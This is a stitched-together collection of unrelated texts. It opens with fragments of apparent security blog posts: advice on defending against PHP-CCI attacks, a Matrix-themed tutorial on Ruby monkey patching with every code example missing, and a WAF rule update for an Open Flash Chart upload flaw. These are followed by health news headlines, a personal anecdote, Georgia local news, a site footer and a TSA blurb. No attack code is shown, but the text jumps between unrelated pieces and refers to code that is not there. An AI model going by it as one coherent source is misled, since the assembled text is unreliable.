We wanted to get this information out to the community quickly due to the following combined threat elements -
Here are a few defensive steps:
All too often, we see weak or non-existent egress firewall rules. As an example of why you need them - during our research, we saw the IRC botnet master send down commands to have the malware update itself by downloading a new version -
If you can block outbound connections from your web servers to 3rd party hosts, you can significantly help to reduce an attacker's ability to expand their breach.
Our honeypots picked this up due to alerts from our ModSecurity WAF rules. The Trustwave WAF also detects these attacks. Not only will this give you some base protections, but it also provides better logging vs. standard web server log files. Speaking of web server log files....
Review your web server log files to see if you have been receiving these initial PHP-CCI attacks.
Pay close attention to the HTTP Response Status Codes. Anything other than a 404 - Not Found could indicate trouble.
For those of you not familiar with monkey patching, it's a mechanism to "extend or modify the run-time code of dynamic languages without altering the original source code". Previously, I demonstrated how monkey patching can modify the logic of a Ruby gem dependency to work around hardcoded configuration settings. As you might imagine, this technique, if used in the movie the Matrix, would have been a great advantage to our favorite "hacker" Neo in his quest to be "The One".
In this blog post, I'll be showing some real world Matrix code examples that demonstrate how you (a hacker) can upgrade your guns, learn karate, and avoid being shot by the lady in the red dress.
The choice is yours…
If the Matrix were written in Ruby, the code to define a semi-automatic weapon could look something like this:
What you'll notice about this gun implementation is that it honors the traditional constraints of a real semi-automatic weapon. This means that every time the trigger is pulled the gun fires only one shot, like so:
Now, if you were in a fight with, say, Agent Smith; you might need a slightly higher rate of fire. We can achieve this is by redefining Gun at run-time. We do this by requiring in a monkey-patched version of Gun, which looks like the original, but with the trigger redefined to fire three shots instead of one:
By requiring this modified code, we effectively convert our pre-existing semi-automatic gun to support 3-round bursts.
You'll notice that the object ID has not changed (same id), but magically the behavior is no longer the same.
Using this technique, we can define what methods do to alter pre-existing and new objects even if we don't control the source code of gun.rb. This ability allows us to change the run-time behavior of Gun and bend reality to our will.
Learning Kung Fu (Instance Variable Stomping)
Now, I can attest as an avid movie watcher than many times you need more than big guns to beat the bad guy. Sometimes you're required to think on your feet and learn something new to overcome your adversary. Luckily for Neo, Morpheous had a way to upload new skills so that anyone could learn things like flying a helicopter or learning Kung Fu.
If I had to imagine how Neo's brain was originally implemented in the Matrix, it probably would have looked something like this:
Before Morpheus' magic upload process, you could pretty much assume this would be a likely outcome for Neo if he ever ran into an agent.
But... through the magic of what I can only assume to be monkey patching, Neo can actually learn new skills almost immediately.
Again, you'll notice our object ID's are the same, but the brain now has new capabilities after getting new skills.
Using this technique, we can successfully overwrite instance variables that previously were not directly accessible interfaces of the brain. This allows us to define new methods like we saw with the gun example, but it also shows how to override instance variables that determine how it ultimately behaves.
Lady in the Red Dress (Inheritance Hijacking)
I've always wondered how agents in the Matrix can take control of other people. It reminds me of the simulation where the woman in the red dress changes into an agent and points a gun right in Neo's face.
Again, assuming the Matrix is written in Ruby, the woman in the red dress could be implemented like so:
Now, we could always override the #do_something method using the same techniques we've already discussed. This would be effective, but in the Matrix it would mean that agents would need to seek out each individual to make this an effective strategy for tracking down Neo.
However, a slightly more indirect solution is more likely. Instead of going after the individual, lets go after the esssence of what makes them human. In the Matrix this is some form of source code. When we look at Ruby objects, they maintain an inheritance tree where many Ruby objects inherit from Object. My guess is that in order for agents to take control over any person, they simply override primitive methods on Object like so:
The net effective of this is as follows:
Obviously, this is some really tricky business conducted by the agents. I can only imagine why those that came before Neo weren't able to figure it out. I guess it was only a matter of time before Neo realized that although Object is commonly thought of as the top of the food chain, it actually inherits from a more primitive beginning BasicObject. BasicObject is is often overlooked and I'm guessing that's how Neo took control with this little gem once the agents finally tried to get inside him to see who this guy was:
Now, the key to this mystery is that when Neo finally ruffled Agent Smith's feathers, he had to figure who our hero really was, and that was his big mistake. In Ruby, if you ever want to see what uniquely identifies an object you can always refer to its object id. So when Agent Smith looked into who Neo really was he actually managed to set the rest of the matrix free, like so:
Parting Thoughts
I've had a lot of fun talking about the Matrix and how monkey patching likely played an important part in the story line. I hope you enjoyed it too.
On a more serious note, I think monkey patching, especially in the Ruby community, can have a negative undertone. I'm sure you can find all sorts of blog posts telling you why it's bad.
My goal here is not to encourage developers to increase their use of monkey patching but to make security professionals aware of its existence. As an application security assessor, monkey patching can be an extremely useful tool in digging further into an application than was previously thought possible. Achieving this level of depth is done by "bending reality" just like we did today in the Matrix examples so that you can do more than you ever thought you could - just like Neo.
We have just released the July 2014 update for the new version of Trustwave Web Application Firewall, version 7.0.
|Vulnerability Name
|Vulnerability Description
|Open Flash Chart: Code Execution vulnerability in ofc_upload_image.php (CVE-2009-4140)
|Open Flash Chart is prone to a vulnerability that allows remote attackers to execute arbitrary code by uploading executable files to the server.
File Upload Vulnerability in Open Flash Charts (CVE-2009-4140)
Earlier this year, SpiderLabs issued a Honeypot alert warning about an increase in exploitation attempts of a file upload vulnerability in Open Flash Charts (CVE-2009-4140). Attackers can exploit this vulnerability to execute code on the server, and potentially gain full control over the server and the application.
Note that such attack attempts were already detected using WebDefend generic security rules for detection of file uploads and payload obfuscation. Since the increase of scanning and exploitation efforts continues as indicated by the Web Honeypots logs and research sites, we are releasing an online update to better classify, detect and block such malicious activity.
Appliances running version 7.0 of Trustwave Web Application Firewall and are subscribed to the online update feature will be updated automatically.
Note that even if blocking actions are defined for a protected site, simulation mode for this rule is ON by default, so that site managers can inspect the impact of new rules before actual blocking takes place.


text:
CBS Houston Health News
- Study: Hospice Patients Less Likely To Die In Hospitals People who enroll in hospice care are five times less likely to die in hospitals and nursing homes than people who do not choose hospice, according to a new study by local researchers.
- New FDA Rules Will Put Calorie Labels On Nearly Everything Like it or not, calorie counts are coming to restaurant menus, convenience store sandwiches and more as the Food and Drug Administration announced new calorie labeling rules on Tuesday.
- Study: Using Marijuana Daily For Years Linked To Changes In Brain Using marijuana daily for years may be linked to changes in the brain, a new study finds.
- Does Hunching Over Smartphones Hurt Our Spines? According to one study, people spend an average of 2-4 hours a day hunched over their smartphones, which puts a lot of stress on the spine.
- Study Suggests Genetic Link For Male Homosexuality A large study of gay brothers adds to evidence that genes influence men's chances of being homosexual, but the results aren't strong enough to prove it.
- Study: More Than Half Of Poison Control Calls Regarding Energy Drinks Involve Children 6 Or Younger There's a growing concern that high-caffeine energy drinks are making their way into the wrong hands.
- New In-Home Innovations Claim They Can Make You Healthier New innovations claiming to give you more energy and even help you sleep better are just some of the wellness features found in the new healthy home.
- Bono, Affleck Stay Silent in PSA on Ebola Response Celebrities are playing the waiting game in a new online campaign calling for a unified response to the Ebola epidemic in West Africa.
- Study: Tapping Your Forehead Could Help Kill Cravings Tests found that tapping the forehead was the most effective method and neutralized cravings by up to 10% more than the other exercises.
- Gluten-Free Products Could Contain Harmful Ingredient A growing number of people are turning to gluten free food, but many are unaware that it often contains a potentially harmful ingredient.
- Health: Stress And Hair Loss In Women Stress may really be going to your head. Younger women are suffering from hair loss because of stress.
- Health: New Warning About Laundry Detergent Pods And Kids They're colorful little packets of laundry detergent: convenient, easy-to-use, but also enticing for children.
- Woman Undergoes Massive Breast Reduction Surgery Plastic surgery sent Karisha Mark from a gigantic 36NNN bust to a more manageable size.
- Beauty Secrets Women Across The Globe Swear By Susan Yara of MixedMakeup.com has traveled the world to find the best of the best.
- Properly Fitting Shoes Key to Exercise, Stopping Pre-Diabetes One in three Americans are starting to feel the symptoms of diabetes even if they haven't been diagnosed. Exercise and healthy eating would help and having properly fitting workout shoes is key.


text:
Went to the shop to buy some porridge and coming out I had a little conversation with 4 youths.
Tracksuit bottoms but obviously never ran a day in his life: "Oi, mate!"
Me: "Yeah?"
Girl wearing so much make up it is hard to identify race: "Could you get us somfing (th is too hard a sound to make) out the shop?"
Me: "Depends what it is."
Fourteen year old girl with orange skin and a skirt that ends as soon as it begins: "Fags." (Cigarettes)
Me: "No".
Then they start throwing rocks at me.
EDIT: Then Neil Gaiman replies to one of my tweets and I wonder if the world is just fucking with me.


text:
Friday was a big night for Portal.
Friday was a big night for Portal.
A woman told police she was raped, but it wasn't true, said Statesboro Police Det. Tommy Brown.
A Bulloch County Correctional Institute inmate escaped from a work detail Thursday afternoon, high jacking a county van and taking a guard and four other inmates hostage, said Bulloch County Sheriff Captain Todd Hutchens.
Dr. Dawn Cartee, president of Ogeechee Technical College, recently announced the appointment of two vice presidents.
The wheels are finally in motion to improve the situation at the Louetta Moore Memorial Park on MLK Blvd. A townhall meeting to discuss renovation of the park, sponsored jointly by the City of Statesboro and Bulloch County, will take place today at 115 North Main Street in the Commissioners Meeting Room at the Bulloch County North Main Annex building. The meeting starts at 6 p.m.
The making of art has turned out to be a lifelong passion for Joseph Olson, who is a Professor Emeritus of Art at Georgia Southern University.
Despite the fact that much of the hulabaloo at the Statesboro City Council meeting Tuesday evening revolved around the issue of redistricting, there were other actions of note taken by the council.
The council chambers were packed Tuesday evening as the Statesboro City Council debated a plan to redistrict the five council seats. After a motion to deny the redistricting request was offered by Councilman Will Britt, Councilman Gary Lewis moved to table the discussion, ultimately approved by a three to two vote.
Boro Snapshot is taped on Wednesday afternoons between 2 and 5. If you would like a chance to be featured on Boro Snapshot here are a few tips:
Boro Snapshot is taped on Wednesday afternoons between 2 and 5. If you would like a chance to be featured on Boro Snapshot here are a few tips:
ATLANTA - Thirty-two school systems around Georgia have been preparing to destroy thousands of pounds of meat after an undercover video showing crippled and sick animals being shoved with forklifts prompted the nation's largest beef recall.
More than 30 students showed up Monday at the Georgia Southern University Russell Ballroom to hear Georgia Secretary of State Karen Handel speak. Invited by GSU's Student Government Association, Handel spoke about her office, concerns about voting, residency issues and the relationship between university and community.
Police are seeking a man they say is HIV positive and raped a victim on North College Street last month.
For the past 11 years, Subway has teamed up with local businesses to raise money for the American Heart Association. The proceeds of all sales at Subway restaurants in Bulloch County between 11:30 a.m. and 1:30 p.m. went directly to the American Heart Association. The businesses divide up into teams, and compete for the bragging rights for who raised the most money. Viracon, Wal-Mart D.C., and Briggs & Stratton teamed up on the Gateway Warriors team. Between pre-orders, donations, and counter sales, The Gateway Warriors raised $ 3,122.51.
A select group of band students from Southeast Bulloch Middle School and Southeast Bulloch High School participated recently in two of the most prestigious concerts for music students in the United States.
Under the direction of Statesboro Youth Ballet director Jurijs Safonovs, dance students completed two weeks of rigorous study at the Averitt Center for the Arts Summer Ballet Intensive Friday.
(Click on the bottom right-hand corner to view video full-screen)


text:
Jun 02, 2013 at 04:31PM EDT
FYI. This thing is still ongoing. I can still hear the protest sounds and whistles from my house.
Cheezburger Blog Advertising Developers Jobs Contact Us
Legal Information: Know Your Meme ® is a trademark of Cheezburger, Inc. By using this site, you are agreeing by the site's terms of use and privacy policy. © 2007-2014 Cheezburger, Inc.
Login Now!
Sign up Now!


text: The Transportation Security Administration (TSA) - established November 19, 2001 - is best known an agency of the U.S. Department of Homeland Security that exercises authority over the security of the traveling public in the United States. They're granted the power to screen both people and property. Sometimes, they come across things that are puzzling to say the least, like a costume watch (prop) that looks like it's made to detonate a bomb. Continue reading for more.